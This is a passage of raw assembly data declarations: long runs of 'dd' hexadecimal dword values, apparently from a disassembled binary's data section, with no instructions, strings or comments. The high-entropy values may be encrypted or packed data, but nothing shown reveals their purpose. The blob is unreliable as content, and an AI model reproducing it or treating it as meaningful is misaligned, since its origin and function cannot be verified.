1FF43BD8h, 1A29AFBCh dd 0DE0B690Dh, 5767EB82h, 0BE31EE42h, 70ABD489h, 0D371BB33h dd 988EB085h, 237489C6h, 351DCA96h, 0F645E7B4h, 7125228Fh dd 6C90E48h, 4DC0EA5h, 1146184Bh, 38E0811Eh, 0E2E1E085h dd 0BEC44CEBh, 15A9570Ch, 6397EA3Bh, 3DD479C4h, 3F3097ADh dd 6F092549h, 4C202A4h, 0A44F8D6Fh, 0D85D6ADBh, 0B0076216h dd 0EE92E946h, 5127119Dh, 8C5AC80Dh, 33544DF6h, 7E6EA4DDh dd 7635F7C6h, 2559F748h, 0BDD463CCh, 45B56A61h, 0A2061FD6h dd 2BE08478h, 6072DA52h, 0FBBE9517h, 0EA6032DEh, 2F5E164Ah dd 62599C66h, 4074FDC4h, 0B03D52E2h, 8F42D6F4h, 0D199785h dd 6BF80231h, 874AAE5Eh, 7E3C6077h, 0DD50695Bh, 4CA86319h dd 8EB9BE4Eh, 2BF7C0B7h, 563FA680h, 8D8FB831h, 8B5171Bh dd 42240A1Ch, 35E15D8Eh, 8DD91D02h, 0F23CF63Dh, 0F9ADC466h dd 0C2733457h, 4F2303EDh, 40DC97E9h, 1F2E0114h, 0BCC5F650h dd 5EA649DBh, 446EC3D3h, 26B897B0h, 5D1AAD4h, 0C0EC8A2h dd 0F1E1B139h, 29DBDADCh, 4B46F7B5h, 0F1D2492Bh, 8A23E11Eh dd 88CD3447h, 0B20C00C9h, 109CD6D3h, 17D57D12h, 28D1CCAEh dd 490855B9h, 7BCA930Ah, 19F82377h, 60EA0BAh, 0C3158B88h dd 0EE15BDC3h, 0F84470EDh, 24BA71AFh, 498822E6h, 290E3439h dd 1763F92h, 9E3C63BBh, 1DF0606h, 78C319FFh, 893A4778h dd 4E1BB1D5h, 91940598h, 33F88BB3h, 0BC3116D0h, 0B95E6145h dd 6792E7A2h, 31EA1D1Bh, 6122136Eh, 2F5A187Ah, 29B38ED3h dd 7016F7FAh, 8EC64A96h, 41977F3Bh, 0B33C9140h, 0A2F81C23h dd 43D36629h, 0C86996E9h, 7BB4A0CBh, 9B56669Eh, 421F6A7Fh dd 94F50C64h, 0EDCEC9F9h, 0B73EE6CFh, 65771929h, 42015977h dd 511E97D5h, 4108176Bh, 910D9398h, 6C668593h, 6C16BD1Ch dd 0D4C7C74Ah, 0A1F0A936h, 0AE79F5B9h, 0D5F8FAD3h, 0F0951119h dd 5051DB52h, 9375EFF2h, 53910574h, 15E86EBAh, 1602B1Bh dd 0FF023D24h, 904236B4h, 0D0DDB2B0h, 0DB0078DDh, 0F06111AFh dd 88DF8202h, 5733329Ah, 884AF734h, 266F754Eh, 0B1A5DF1Fh dd 0B6C4E246h, 0CECEA1BEh, 0D6B08F6Fh, 0E3C508BDh, 98BAF6Ch dd 6E96E8F6h, 0E70B29Ah, 0C0AAE6F6h, 6B0C5492h, 0A5C0704Bh dd 0DA106BBEh, 0D72356E9h, 6927EE95h, 0C2FDA52Ch, 0DFA082C0h dd 28173097h, 4CE9640Ch, 0EBAF6C5h, 6E64B897h, 0E0B005BCh dd 6167C23Dh, 0CFE433BFh, 0CAE26643h, 0B4E7E646h, 8CED486Dh dd 9226BDB1h, 0C9A14003h, 65225FD9h, 4A70974Ah, 0F7ED9D62h dd 6E52B1E8h, 83BDFEFCh, 8DEFC74h, 0DDCA78D6h, 0F8656C73h dd 89B72A88h, 719A471Eh, 35AC662Bh, 4AA67B1Ch, 0B09DB6EEh dd 0AA92AF7Eh, 0C87AF38Bh, 427F244h, 3B3B26Eh, 8C2AEF20h dd 2A806878h, 0E037541Ah, 4BCFB9D3h, 0E0E525BDh, 411B3E24h dd 8EF49990h, 6D44E2E2h, 6B457C3Ch, 488D8E24h, 23F50CD3h dd 547C054Eh, 0A4ECD353h, 9B17A0E2h, 5E8404AFh, 5DF4D404h dd 0D4282EC3h, 9CD82BB1h, 497959EEh, 8814F631h, 994C3DDFh dd 66F44979h, 0E486D894h, 390BA1EEh, 0DDE71BBCh, 3B438751h dd 7CEC11AAh, 2B183FD9h, 5588D5F2h, 0C02DC959h, 0E54F462Ah dd 44A28F82h, 3DD59F74h, 0B660AB7Fh, 307E23EEh, 504DF04Eh dd 16F6FEA4h, 0E60CD2h, 82A30BC2h, 0AE6A1B35h, 945ED674h dd 2E1C68A8h, 8902D423h, 180E80Eh, 0CC3E3CFAh, 4D2903Dh dd 57365FDFh, 0E89435DBh, 22A0BEAEh, 0B66E30D0h, 0EB5A39D4h dd 4DF59D55h, 4060B80Eh, 430C7E6Dh, 0D8588C6Fh, 78E2D91Eh dd 3F8BA8FAh, 0E86B52E6h, 2941EAECh, 5FB19E60h, 438589EAh dd 9A94E8Ch, 0D0B4DDEh, 0E805994Fh, 1815C0B3h, 0A656211Ah dd 8D4156EEh, 0EC9B2FEFh, 0A938125h, 4FE302F9h, 0F1367394h dd 3DF73BA9h, 5F43B1B9h, 7A5395E8h, 0EA64DD8Ah, 7B7754EEh dd 1EAA0623h, 0AB9B1818h, 0F8912297h, 353F67B8h, 88ED0141h dd 0EF878A9Dh, 27273293h, 5074D870h, 0D6784F59h, 0DB23CECCh dd 64017D4Fh, 380B658Ah, 6FD7AD1Ch, 0F6A49A7h, 58362F9Dh dd 718BD3A6h, 404A5B54h, 485EE815h, 88B7530Eh, 0ABC7F449h dd 0A568F171h, 40D01196h, 45839B0Ch, 0C7045EDFh, 0EB42BA8Dh dd 0B24B89C0h, 96742089h, 2F0D7437h, 0D8BEF172h, 36C964CCh dd 15ECE3DBh, 47589D19h, 1FDF6899h, 5FC4A6FBh, 71A468FEh dd 0F31F4F15h, 0E84D793Bh, 0B05BF0F3h, 4716210Ah, 4F2F639Bh dd 62647D30h, 0A0597623h, 39F38B35h, 94AD9907h, 611CE24Eh dd 55872BC7h, 32368533h, 656D6DB0h, 905C0442h, 0D65B7191h dd 40268B54h, 333C7042h, 7100FFC3h, 61281A73h, 774B267Fh dd 22F0BE3h, 0EA65477Dh, 0D6B0350Ch, 53CD9531h, 0A0D39EE7h dd 7F15268Ah, 0FD7FB2ECh dd 0A9458267h, 90938CA9h, 0E100EBA3h, 2E3A362Ah, 0D9D48850h dd 0CE0BA165h, 578B3EAAh, 0EA318E0h, 1A08ECD8h, 69AAAA07h dd 0DCBEE1F8h, 0DAB614D8h, 1D53D22Bh, 8A5BC9Ch, 0A505E216h dd 588A2D8Ah, 8C0FD145h, 5695A853h, 192992D4h, 8A36A53Dh dd 92B584E0h, 0DBE194F2h, 8F77A9D2h, 4E0B82A2h, 2B2E3EB2h dd 7928B7BFh, 3EDDC6D2h, 1343CF63h, 0C642D63Dh, 0EFA48AABh dd 31DE362Bh, 0FF765A49h, 3DC1DB09h, 4491F64Ch, 1B4C91D8h dd 3011A05h, 8C39D48Ah, 42DD164Dh, 2E288AAEh, 0ED910E0Dh dd 3BE1C2Eh, 7D244FF1h, 4F568178h, 8F8283E1h, 3476863h dd 53B713h, 1E4ED248h, 0A472AC4Ch, 99BE2C96h, 57AB22E4h dd 0A8D44BD9h, 0ED502E1Dh, 7AB518B0h, 6FFEC209h, 0CC4A1743h dd 4468C066h, 0BC6563D0h, 2E2130C4h, 0F8AF3D9Fh, 8095B309h dd 0B859F052h, 328D5003h, 4EF94AFh, 0BDAB2CBBh, 748C19F5h dd 8D82206h, 0BDD1CEA2h, 99DF0495h, 0E71CC770h, 0CB8E594h dd 5F62BCF9h, 452F4D51h, 0B197FF53h, 0E85D1AEDh, 0AA66BCB5h dd 9EE187Ah, 0F357F90Eh, 0FA2B0767h, 375B78B7h, 9C7AC904h dd 255A25C8h, 784E7914h, 0F2F7D6ADh, 6BCABC16h, 0C25F7BC5h dd 0F4BACCC5h, 0CC400FCEh, 0E8608E14h, 407AFBDDh, 679C319Dh dd 4B346E26h, 3BF02942h, 72127E18h, 0E5A08FB2h, 3E80AE10h dd 55962F32h, 8220ACBBh, 0F851DA4h, 413195B8h, 8F5FCE25h dd 0C7DDF572h, 0A5488616h, 16354E8Bh, 0E9E525Dh, 414E812Bh dd 0FF122C2Fh, 0B1250842h, 3334572Dh, 9CA3C918h, 37F06AF8h dd 5E58532Ch, 0DE544DA0h, 1140D419h, 8163D8EDh, 0A1BFCBFAh dd 95C25B7Ch, 0FB6AAD4Ah, 0BCCFB0E5h, 0D4D6B4D3h, 8092E47Ah dd 804DD42Ah, 0F35E44A5h, 80BF03DCh, 37B60E6Ch, 645F8426h dd 0E5653B99h, 0D29B64C5h, 0E3837108h, 0FD391812h, 0A1959948h dd 0FE1A899Ch, 5CC4CCCCh, 5EF82379h, 2BD6C30Ah, 0A0C49F4Bh dd 6B5282B0h, 95D4BDB9h, 6CCE4862h, 0B03EB13Bh, 0D17C2459h dd 2E99E3D1h, 0A8CD3A2Ah, 0E1D16F69h, 0A08FA73Eh, 0BB0A11F4h dd 5EB2D613h, 0E894D1E1h, 0D8A2BB5h, 6D860426h, 3A222857h dd 0F6D78847h, 5B74DB54h, 0A888FD29h, 0A30D5D95h, 0F864E7FAh dd 0FDE0F9E0h, 182F0434h, 2BCA6233h, 61117CF2h, 169F3E59h dd 2032E868h, 0A5AAEB43h, 0FD0BF364h, 0E59F46ADh, 1B0482F3h dd 39EF4552h, 611286C7h, 8B4CFE7Dh, 0DD3A2C2Eh, 0C838095h dd 22886A06h, 6D427AE3h, 0E69C20E6h, 2AC575D1h, 926910ABh dd 0A7350090h, 2870C291h, 144A2FA9h, 0A347FACEh, 7DF056CFh dd 0A516FCB9h, 0DA6AB183h, 0D78057D1h, 0B1ABC0EDh, 714A599Ah dd 0FAC79C8Fh, 2D7139B7h, 0E67B9E0Fh, 50709315h, 4AE919B1h dd 8A47A24Ch, 8B59D186h, 0D7A0E310h, 0C70D2DCCh, 25F3D21h dd 8876347Fh, 0DBEEF4B2h, 3607A674h, 39D90E03h, 79654D29h dd 39C260C3h, 96813664h, 0D39FB069h, 0FDBBA20Ch, 0B0833B5Bh dd 8A194FFAh, 0DAB85405h, 0B73B469Ah, 0E4FE66EBh, 9330799h dd 67A46BBh, 6B6E45BBh, 1544EFA2h, 0BFE265E5h, 4263CFC0h dd 1A31720Bh, 4926B0C8h, 4411A9EBh, 7F497E91h, 0FE0348BDh dd 0DEB33971h, 18F87188h, 71ADE868h, 0B817B23Dh, 7E295233h dd 8091A095h, 8E1DBAC6h, 0ED8893A6h, 7BD2DAB5h, 40F60604h dd 0A34DDE02h, 95998ECh, 4E134B82h, 5EE63665h, 91E7435Fh dd 6D7FA2EFh, 0FF0742FBh, 0CE046689h, 4BC2AD9Dh, 0CAF5882Dh dd 0A9E488E8h, 106BEBEFh, 3EBF75A9h, 0F2C4722Fh, 0AF045736h dd 110A245h, 103BE6D0h, 5E37A7DDh, 0D68848F9h, 511971A7h dd 4B1E0D36h, 0FEF42E4Dh, 0C7D019F3h, 0E9B94D1Fh, 0A60EB5DDh dd 0B0ED5718h, 0D86847CBh, 0E618F77Dh, 6D901BA3h, 0F0DC2375h dd 0DAC87E9Eh, 4C780550h, 0E40B94BAh, 91E23676h, 39613AE7h dd 8DED9902h, 0B1B42BB9h, 0C3DFD039h, 0C2E6514Ah, 0ADE7AC28h dd 0F83A5828h, 6F84B421h, 0BF09AA91h, 91DB9E53h, 4FA5A9EBh dd 7076D0B1h, 2EDEEAD8h, 92BBEDF5h, 583228BAh, 64DA9D82h dd 0BA0501F1h, 3737C250h, 0D6CEFF96h, 74753296h, 1EBE9821h dd 0C25E61E0h, 0F3F9C860h, 0E48F931Ch, 0DA57E106h, 61F0495Bh dd 2FB28383h, 8AB91DFDh, 0B0F949D2h, 304523F5h, 67C2DD0h dd 0F0A1F51Dh, 4512C45Ah, 2E463C4Bh, 0ABD4E651h, 60A72B23h dd 0DDC0A191h, 0E4541700h, 816D279Ah, 8693FE76h, 9D5414C6h dd 78045461h, 48B54173h, 0B84EA35Ch, 0DC2EDD3Ah, 679CD407h dd 71754A6Eh, 0BB100D2Bh, 359EF523h, 33D94993h, 0DC6ACB06h dd 0C4D5C1C7h, 89395535h, 0BF2B457Ch, 0C30CAAE3h, 4F31C4FBh dd 0C5907605h, 62ADFB65h, 0D70063EBh, 0D5FABEDEh, 90BCDA43h dd 38A792EFh, 2039AC1Fh, 0D0D9D072h, 0F276F6D6h, 694B18DEh dd 0D7B69907h, 76880810h, 969714B3h, 55D38659h, 7A637A4Ch dd 0EE82B336h, 95770B73h, 0D980B531h, 0D1971977h, 8419D609h dd 3C25000Fh, 0BD067DC5h, 0FF94B942h, 6D48F417h, 2933D3ACh dd 9F817787h, 0FF7B45E9h, 0FD339C22h, 1AC528B2h, 36D0663Eh dd 18F2B126h, 0B462020Ch, 142CF81Dh, 0EDD7F061h, 0F08A07Dh dd 4E2482B2h, 0FF3DDC04h, 0E163AF12h, 8FF5872Ch, 26A7AD64h dd 0EA2883A7h, 0D618201Eh, 5B483411h, 2853BFC4h, 0AA5587CEh dd 9730E9CCh, 9D964514h, 0D08A21F4h, 0C93E95D4h, 537F2A67h dd 9BC865E8h, 32FB6899h, 1DAC2E78h, 89535EECh, 0B235AADAh dd 6EB25DE8h, 364B9B82h, 0CB3F1752h, 0BFD46837h, 9FFF2992h dd 7E5ED74Ah, 0E0125D03h, 11E31C4Eh, 6128E270h, 8757E27Bh dd 28093B63h, 99DD522Ch, 0E6CCE7EBh, 0D24F9627h, 0FFBDC7E7h dd 89A9E000h, 4D3B09C3h, 0B490F969h, 9E1F00Fh, 0F01F1954h dd 0F6E610D6h, 0C01B6EB5h, 27BECD6Ch, 0D28D7683h, 46191F82h dd 0DBB9500Fh, 0C5D835A6h, 1FAB59DFh, 0B6A5305Dh, 0BB637CCBh dd 0A2876775h, 982B8DC9h, 0A398B89Eh, 7F6BFB0Ah, 0F76E8637h dd 490F5AD2h, 97E5C2B4h, 0FE5E1F00h, 0B4B388C6h, 1D87D9B9h dd 3D1AE8AEh, 0A1E4F040h, 301A6A69h, 25F16CABh, 6A04BF2Ah dd 27996EF9h, 0E6CCCF25h, 89B8AE28h, 80D045C4h, 138E2206h dd 3A2AE01h, 0D829F0Eh, 0BB3DF82Bh, 0C1997CEBh, 0A509DEEh dd 2E8E05D6h, 0D00A2E5Ch, 0A3BD6D1Eh, 3AE63F43h, 13BCE04Bh dd 789F04E8h, 4D342323h, 0D9E16FA4h, 0E305E223h, 271D4EE6h dd 0BA597FF7h, 0EC0A659Bh, 21F5F4A0h, 6D2B55EAh, 8264D79Bh dd 0D39AC166h, 0C10608DAh, 2BD528C1h, 1715778Ch, 0AB7CF258h dd 63D28539h, 0EDC8C085h, 5C27FE7Bh, 6B03E896h, 2EC8BFADh dd 0FFEC5704h, 4588CE9Dh, 8DBB289Ch, 0FD59AA7Fh, 0BBB15DB7h dd 4280CB84h, 0E1C16FD8h, 381031D2h, 0D2D85B83h, 5F71B967h dd 2D86D8B6h, 2BB62438h, 471E512Eh, 0C7EBA0D3h, 2A1FE0BFh dd 2D7D48E2h, 7F392484h, 0D72D5C07h, 0D8EFE130h, 710738F5h dd 0B1C2F42Dh, 56E6B4CCh, 3EA4D8AFh, 0FC9E7159h, 1C46BB1Bh dd 3DCF998h, 0E2A64B1Eh, 9CC8F94Dh, 0AE2A76Ah, 0E4DA664Eh dd 31D97CAFh, 4C26C49Ah, 0CE6C0990h, 0D0073018h, 0F1684C78h dd 2BE22233h, 4CA2389h, 0FB422C80h, 67030835h, 5FC00BC9h dd 412F3984h, 81769A03h, 149B4385h, 0C106ACBCh, 5C61E083h dd 0CD5F7006h, 91D1B94h, 0FE600A8Fh, 0E3447055h, 0A8DFC243h dd 12E022CEh, 6878387Ah, 63ECD315h, 0C4BFE622h, 35231B95h dd 3C537AB7h, 938B0CA1h dd 255BDD60h, 0EBA646C7h, 0CDD6A5C2h, 504EEDB8h, 0DD25F71Ch dd 908EE6FEh, 25861AEBh, 4557CA88h, 0CCC16DD8h, 0F85613A7h dd 482661B4h, 0D31987BFh, 369F32E8h, 0CDAF1993h, 0C2C1C9DBh dd 0A8D7C784h, 377E817Bh, 0E355D6A9h, 31B0A2E1h, 5F2600DFh dd 3DA5B19Ch, 930DE636h, 1132CA2Ch, 5912FA29h, 0E6CFC708h dd 4E923797h, 982D0C5Eh, 0E8BEB4A6h, 949FEAD4h, 353FCF4Bh dd 86E75315h, 4A50B596h, 9836B7A9h, 0BA1F9D5h, 3A3834ECh dd 5C73CD0Ah, 16D54AA7h, 6C4A9686h, 0F4D4EBFFh, 683B213Ch dd 0D00393EBh, 7EEAE8Dh, 0C513489Bh, 0A81FF708h, 38162277h dd 4421351Ch, 994FAACAh, 0D482227h, 20C9106Ah, 0FA6FBBEh dd 93548F3Ah, 3CC0EBCEh, 57411FB8h, 0A68A3CA4h, 3968C3EEh dd 21EAE568h, 18F3D0A1h, 117FCFC5h, 0D90D86C2h, 2ED39C89h dd 4BD61790h, 87FED7ACh, 974F7EAEh, 38316F48h, 1CFACE57h dd 22670AB5h, 0E18D4155h, 0AF72EBF6h, 79C92DA8h, 0D0951020h dd 0D2D51698h, 0F5DF680Fh, 570CDC87h, 0C8C246BCh, 942BEDE0h dd 0F1DCAB7h, 0CB474819h, 24787382h, 0A987B71h, 8708735Fh dd 0C6B2A709h, 86104C48h, 87D14C8Ch, 0AA501851h, 0A9EC0A61h dd 0E5B82765h, 5FE1F118h, 3BA943ABh, 4030F93Eh, 0C02B7B6Ah dd 0B27BA4BBh, 0ED22AC18h, 721EABA6h, 0E5723A5h, 0AB248B1h dd 1CEE3E8Fh, 0B4210EDFh, 412210D3h, 41ED0137h, 46EB6CC3h dd 0F852FE8Bh, 128CC1FDh, 8089FFh, 45192BA4h, 0A41EEEDDh dd 9BD996EEh, 0AEA3FCC4h, 3ADD8067h, 571064A0h, 5B7F6683h dd 0F1C3F882h, 1478AEA5h, 0CFBFEDC2h, 126F7955h, 382E09B5h dd 0F6B3D31Eh, 5B0ECAB6h, 78CFD21Eh, 0DA47B633h, 0DFA82CFCh dd 11C390E7h, 0AFAE2F9Ah, 0BA47553Dh, 38442C00h, 1971FCA9h dd 0C09BDB6Ah, 6B277CA6h, 0A9F5245Ch, 721F0ED9h, 7D45A27h dd 0EA2CC56Fh, 0B9B02B6Eh, 1FE722ECh, 0A69F078Fh, 4E8F53B5h dd 73208FB3h, 9478BF27h, 2EB42F7Fh, 0C482C9C5h, 6DEC670h dd 6EEBBD01h, 73FBC3A2h, 60147A2Ah, 0CFA0F21Dh, 0BBFA68EBh dd 7948D9A8h, 0B3BE0045h, 1F61BBDFh, 0FA75CF2Ah, 0C9C9A41Bh dd 9E097DE8h, 3EF9B25Dh, 3C17CD59h, 0EA61080Bh, 996E8F17h dd 0B4F4B6A9h, 0A2BDBB16h, 24F90A1Eh, 960B8ADDh, 0B917EE30h dd 0E7F7B8F3h, 0B73259CEh, 594CADB6h, 2A5BA6A5h, 0C651FB00h dd 89033E2Bh, 0C650E9AEh, 78250CDBh, 5213D595h, 3D84211h dd 0D1DE21B0h, 99C3BFB5h, 0DAB00E3h, 0B289F9FFh, 9E9C9F04h dd 0CCF722F1h, 0A2EA5D75h, 3C585038h, 0CC1506E2h, 99C236A5h dd 9C604B3h, 0EDC47DFAh, 0AF9FB1A7h, 980D7CAAh, 16650379h dd 6ECEA4C4h, 1101AAE4h, 8204AA22h, 0C16E14DDh, 7D05928Ch dd 21E803ADh, 143CFC94h, 9F462C18h, 297B8BCCh, 98C411D2h dd 0FB1E1F3Dh, 0DC8CCFEAh, 0AF900565h, 0F8186526h, 2F15D342h dd 3F00D33Bh, 2800DEB3h, 68D737Ch, 0CC90FC2Ch, 2481D3Fh dd 3B01C5F8h, 0DCB15D2h, 3F00F6D5h, 6F5AE7A2h, 47BF4501h dd 51BFB574h, 221CE4E4h, 0C1BFC2E7h, 0ACE29B99h, 81CACF85h dd 41E00B5Bh, 9F623972h, 1C6FD9FFh, 6553A2C1h, 5304B836h dd 8C1F4A3h, 7B0252C9h, 9E1E8DAFh, 60A41E8Dh, 857AB6E0h dd 4952B668h, 2FE19C18h, 31E15E5h, 0E090EDB1h, 0C7746D7Ah dd 5EAE7E95h, 7A975E2Eh, 0B60BA673h, 611488ABh, 0DD096904h dd 89685FC7h, 4F5AA58Ch, 0B830901h, 247A8749h, 0C62396F2h dd 0AD388624h, 0B1DB1884h, 51599FE3h, 79FD2F15h, 0A1B9EC06h dd 67ED5D40h, 5EB0E88Ch, 0EDEE5610h, 430366B9h, 3956FD04h dd 7C8B2032h, 7A829885h, 53BA77E6h, 602C91A3h, 0AF46832Ch dd 818FE0CBh, 960EAA89h, 1A35F255h, 9945F206h, 1E2C1178h dd 7AB4061Fh, 708FEB30h, 82B557F3h, 5162F741h, 389CCC90h dd 875C4AE6h, 0B60BBC0Fh, 6F8C908Fh, 17D5882Eh, 76817963h dd 0C898F1FCh, 0DDBFE9C0h, 75FE87F1h, 3450ED45h, 64206759h dd 36BF78C3h, 63543532h, 96F5108Ah, 0DAB2242Fh, 0B653133h dd 0D04E79AFh, 0CB73F0CBh, 0DFEF61BEh, 3041F525h, 3EB568BAh dd 0A82BD1A0h, 952FE24Bh, 0F029E849h, 6D4A9990h, 44646C94h dd 0D6950E35h, 8BD1F6DDh, 14C8C87Ch, 0C1A40FEAh, 331CFC9Eh dd 547C694Dh, 0E4B8E2C7h, 17E549EAh, 20F87A91h, 3B27B0E4h dd 0B93663E8h, 75FAD053h, 2B9CC01Ah, 0ABDFC663h, 0DF994114h dd 52FB885Eh, 0E78425B7h, 0E41125EBh, 3B5244DAh, 0F4AB68D4h dd 54259BE1h, 15BCF869h, 0A6BE8188h, 5B713D9h, 0BBCB4465h dd 0B597FA53h, 740AEAADh, 0E76CACB8h, 5D1B8520h, 0B7739D50h dd 0BF875A81h, 0A4613F16h, 5B6D1758h, 0D31736CEh, 92716E09h dd 0CEE39A57h, 5E1BFC65h, 0CCCFBFA4h, 7F0E2604h, 0DF845989h dd 0B14431E3h, 0C91DC2C9h, 42013260h, 1FFB1530h, 683C003Ch dd 3346299Ah, 0AF34BCF1h, 0ED4556E4h, 0AF539BCAh, 39D8E1AAh dd 0D5C5310h, 0AFD868A1h, 0EDC12B46h, 9E0CE0DBh, 2AFBE708h dd 0B84E2F96h, 47612EF2h, 0B64494F4h, 61231DDCh, 0B7A9E42Bh dd 0CB3881D7h, 827B980Ah, 5933C5C8h, 0B7BED965h, 0CDD3103Ah dd 0CB978412h, 0F3A8306Ch, 43907E36h, 2A9F565Eh, 4956FF07h dd 11670B8h, 0FAD75B0Dh, 60490D48h, 6C8B87BDh, 9F0AE49Ah dd 0A0BE936Eh, 0EE389DA8h, 85FBC7EFh, 7E39AB71h, 1F88C811h dd 0E731C33Fh, 0DB6914Eh, 9F54BB8Fh, 0F7CE8F40h, 60DA12F2h dd 21527324h, 3E39E3C2h, 0CFBD34EDh, 52134694h, 594D0BEDh dd 18B2DF57h, 0B8AFF05Fh, 2C96A8F2h, 15E91289h, 262D1A15h dd 8E7D494Fh, 0AF5E9F3Eh, 0AC201786h, 0A82D46CAh, 8A1A5CEDh dd 8007663Ah, 0E08C864Dh, 0FB0A8A52h, 3A66F321h, 1F12C268h dd 99753F2Bh, 0C2F4AF2Ch, 2E014515h, 3C14541h, 0A3AB667h dd 0EC5587D2h, 4A4A573Eh, 0F793BFB2h, 0D5629D8Dh, 0EA265A4Eh dd 0C9A6125Dh, 54A47586h, 0D391E702h, 7077503Ah, 0FD55B46Fh dd 4498193Fh, 146D3E79h, 0CA2CB59Bh, 23155542h, 0BA6770B6h dd 9F128EBDh, 2E0DD9F9h, 9D2711ADh, 0ED30D059h, 0BA6AEBD8h dd 700B3B75h, 2F074EE4h, 26A780E2h, 96B0603Ah, 94220B2Fh dd 70ABD8FEh, 43C5093Fh, 29627A97h, 99EBD241h, 7C5EA9C3h dd 130C56E4h, 9B83D5F3h, 13FB7A83h, 0A9DD8ED0h, 86D7A56Ah dd 52CFE822h, 60294165h, 0BF6DFB81h, 47C8C2FCh, 2831255Eh dd 0F9AA3D47h, 0E84C17C1h, 5C739483h, 353CA27Fh, 0FB30DA2Eh dd 1D261095h, 40EA4921h, 8C770D60h, 7506C194h, 0E4C0205h dd 5F6514CEh, 0C3994DE2h, 8E3EE991h, 4FA1B4F2h, 0FE46764Ah dd 5047BA45h, 5AC66181h, 60F64D9Bh, 0F9E391AEh, 0EC656154h dd 0EDFB7FA8h, 1C19BB40h, 62C97AA0h, 212E4BEEh, 0C6A5F227h dd 3713D86Fh, 5EECFF10h, 1569821Dh, 64667ACEh, 352EA499h dd 0E95E72D3h, 924EBB26h, 46109AAh, 46629BF0h, 71773017h dd 0DDA6655h, 0D2225FFAh, 254BA5AFh, 0DC9A5A8Bh, 0E094DFEAh dd 3217A6D4h, 1028BC3Ch, 50957519h, 0ADB7122Fh, 2E6CFC7Bh dd 0D1DB92F0h, 8813901Eh, 5DC333A8h, 0C866F5B3h, 34A9A753h dd 250D1D99h, 5F9E6E79h, 8D74E4A3h, 0F8C0E6F3h, 60BB4290h dd 65C80259h, 0FEEA93C7h, 339680DEh, 176CCC03h, 41D0D27Ah dd 231F33Bh, 393CB31Eh, 501A0321h, 0BFF06412h, 2D5989BAh dd 0DCCA1E94h, 1C2FC48Dh, 7DA64A6Ah, 0E8732BDCh, 56AD541Bh dd 38361CBEh, 0D5A26779h dd 0DA5E8763h, 1C7DF3C0h, 9FB1AACFh, 0A26EA723h, 3C04EB8Eh dd 0C4865C92h, 0F6B6222Bh, 0E07EB439h, 448EB392h, 572E78h dd 3704440Bh, 0B2ECD748h, 9B68EE26h, 0D24297DAh, 9403483Eh dd 6E19439Ah, 9456FF75h, 0D076DA38h, 0BF440F57h, 6CBFF7Ah dd 0C820875Ah, 912E88DBh, 0B3BDA6A2h, 0E0B097F4h, 55406DFh dd 0F10DF551h, 401B00E6h, 0D6DADBD9h, 8ADEAC8Dh, 874AD359h dd 0A85A49FFh, 0CD09A2A4h, 0FB3FDF84h, 32C03235h, 0A1074861h dd 0C466BDA3h, 0ACB5977Ch, 0FB61C53Fh, 823145A6h, 0FD8C6DE9h dd 7769A4BDh, 0EC1D7BADh, 412AB8BBh, 96C92CB8h, 62123002h dd 0C7FB1BF6h, 0ACCCFC2Ch, 7E7C79A1h, 0A3947F97h, 3DFC675Fh dd 5F55A287h, 6035958Dh, 0C8D6C61h, 0AF21E3E9h, 788EEB94h dd 1B3D97ADh, 0D93A526h, 0A15AB2AFh, 0FC279CF5h, 72CA9853h dd 0E0FEA11h, 0EC518919h, 0E620726Ah, 5E03FED7h, 0B3F2D651h dd 344621A2h, 6D025E15h, 21A24234h, 0DF79C85Bh, 8B4F13Ch dd 7B7D9AA3h, 0EF1BFF79h, 0CE2B1D9Ah, 7C91F5EFh, 3E1670BCh dd 6579B1E2h, 0FBB07CE7h, 0DF84A091h, 600DDF8Ah, 0AB16BC32h dd 0D74B7FE1h, 32EEB169h, 215B65EFh, 0D74039Dh, 0F28F52DCh dd 51138B47h, 969F9DC8h, 959081F5h, 455B7468h, 6A7B962Ah dd 0DAD13E6Eh, 6CA94E67h, 5BF62751h, 0E95F9D8h, 0E65D5632h dd 2D6B0355h, 0B0A2D394h, 57A5FCA1h, 3FBDC17Dh, 22C73C5Ch dd 0A13A4DD8h, 2164B9CFh, 0DB5C9601h, 0EA2F5A52h, 3DBAA171h dd 621B17B6h, 78A5BCDDh, 1355B037h, 6C02D318h, 4060C171h dd 4253EC4Ah, 87C2E6E9h, 50616A94h, 0DDD0C644h, 960B9439h dd 51DD99EDh, 9A60D07Ch, 0EDB89520h, 986344E6h, 13F570Ah dd 0EB2F171Fh, 8CD49CCDh, 929B7A8Fh, 6DC4B113h, 676CD93Ah dd 0BE326BDEh, 0C05F8063h, 5D9D6E9h, 861CBF6Bh, 9E3D01F2h dd 0A97F800Ch, 3A409DAFh, 465318B2h, 465F5D9Ah, 540C9D4Ch dd 0DE942942h, 7B779D26h, 0A21C66D2h, 0EF7742C2h, 60A23DDFh dd 0A3B1A35Bh, 2A745F33h, 0FCC7FCA8h, 5F52495Ch, 0A2167913h dd 354673F7h, 2B07C7EEh, 11C4BF10h, 31A96D64h, 2CE64948h dd 76062785h, 89C28A1h, 256A0429h, 0C9E49E3Bh, 4C6DA59Ch dd 0D3E75AF4h, 9E94B08Bh, 0F2CF42E1h, 35D04748h, 0DC8EB9EBh dd 97311DF7h, 733FC632h, 0FBC6F03h, 0FCAE9929h, 3BA58304h dd 0E571C3FCh, 6DDAFCAEh, 24B4BF3Fh, 6761E5D5h, 36102AD9h dd 2ED80B37h, 7651B3B2h, 0C9AD6585h, 5B193F15h, 1346FDE4h dd 89187444h, 20590A6Eh, 53DCD52h, 0DD6B6569h, 0B7AD7092h dd 0A07C1394h, 69EC87DDh, 7867E5EBh, 35B1C1AFh, 409CA64Dh dd 0F7E0A8B9h, 8B89011Bh, 0C10BC43Fh, 0D9153AE7h, 0DF68600h dd 5E0F332Ah, 639FD0B1h, 0B5D0652Bh, 0AA44F220h, 9B91F970h dd 9C69E692h, 3E372C6Ch, 0CD47C445h, 3A1FC52Fh, 6B641A7h dd 0ED84B7C0h, 0A21F116Fh, 137E2502h, 0F1402DA1h, 0DFA45EECh dd 4F14A354h, 0B86834E4h, 9B759825h, 12442EF4h, 928781Eh dd 0E6007173h, 0B48C5DBDh, 5EFE9989h, 0A13CF304h, 0F90F35AFh dd 0D5BA90D0h, 59C32CACh, 8ED27176h, 38590548h, 14E8D3D7h dd 0EBE09C5Eh, 44471EFh, 0F6406EC1h, 0D0DC68D9h, 3E12D87Bh dd 0E41C406Eh, 4AC977EDh, 32FFE605h, 5C4DC309h, 515C98E6h dd 93BF3Bh, 655A60B9h, 685C696Ah, 9A7383C6h, 0F7676C48h dd 0B8C12309h, 